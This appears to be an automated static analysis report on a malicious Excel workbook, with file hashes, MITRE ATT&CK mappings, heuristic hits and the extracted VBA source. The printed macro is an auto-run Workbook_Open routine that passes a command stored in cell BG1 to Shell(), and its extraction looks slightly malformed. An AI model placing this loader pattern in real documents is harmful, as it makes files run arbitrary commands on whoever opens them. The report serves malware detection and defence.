Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9bb201071681cbe7…

MALICIOUS

Office (OOXML)

16.3 KB Created: 2020-06-23 05:03:50 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-22
MD5: 15df7673f54654fd62372120835b95a6 SHA-1: 2b7ec484786f71f1516f78e2f1785b018a65f034 SHA-256: 9bb201071681cbe7c136c06f47204a216ed22378a8d7a7e7f6c341f0484c01d9
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is an Excel document containing a Workbook_Open macro that utilizes the Shell() function to execute a command. The extracted VBA code indicates that the command to be executed is stored in Sheet1.Range("BG1"). While the specific command is not directly visible in the provided VBA, the presence of a Shell() call within an auto-executing macro strongly suggests an attempt to download and execute a secondary payload. The heuristic firings confirm the presence of VBA macros and the use of Shell() for execution.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 699 bytes
SHA-256: 99f230b1bce0565b0932411892c2b608e4130bf8573d1a894fa9090fdb6bd42f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

End Sub
Data = Sheet1.Range("BG1")
Shell (Data)
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 8704 bytes
SHA-256: 9adf9be06638eba5c59e27cf319194c31993f76cadd06053b78998e12e19339a